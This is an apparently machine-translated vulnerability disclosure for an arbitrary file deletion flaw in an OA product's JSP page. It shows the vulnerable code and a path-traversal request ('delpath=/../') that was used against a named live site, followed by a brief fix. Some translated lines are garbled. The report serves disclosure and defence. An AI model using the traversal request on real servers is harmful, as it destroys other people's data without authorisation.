Arbitrary File Operations for OA Standard Edition

Source: Internet
Author: User

Arbitrary File Operations for OA Standard Edition

In fact, it is the deletion of any file. The deletion function is well positioned, so the title is concealed.


This arbitrary file can be deleted only in windows because it is a coincidence that the program does not kill it.



Vulnerability file: defaultroot/information_manager/information_deleteFile.jsp
 

<%@ include file="/public/common/include_common_header.jsp"%><%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ page import="java.io.*"%><%String fileName = (String) request.getParameter("delfile");String path = (String) request.getParameter("delpath");if(fileName != null || "null".equals(fileName)){    String realPath = request.getRealPath("/");    File del = new File(realPath+"\\upload\\"+path,fileName);      if(del.exists() && del.isFile()){        del.delete();    }}%><script language="javascript"><!--parent.document.all.oldFileLink.style.display = 'none';parent.document.all.fileLinkContent.value = '';parent.document.all.fileLinkContentHidd.value = '';//--></script>





File del = new File (realPath + "\ upload \" + path, fileName); this line of code is problematic, however, because the code is written as \ upload \, in linux, aaa.com/a/ B ?upload=xxxx.jspis not a normal file (of course, some jsp settings are also acceptable), but there is no difference between \ and/in windows, therefore, any file is deleted.

To prove the authenticity of the vulnerability, I found a test site for windows:


1. http://www.qlyxjy.cn: 8080/defaultroot/wooyun. jsp true 200
 



2. http://www.qlyxjy.cn: 8080/defaultroot/information_manager/information_deleteFile.jsp? Delfile = wooyun. jsp & delpath = /../

3. Try again and access wooyun. jsp has been deleted, 404.



To facilitate Cert testing, a.txt was uploaded again for harmless testing.
 

 

Solution:

Filter ..

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.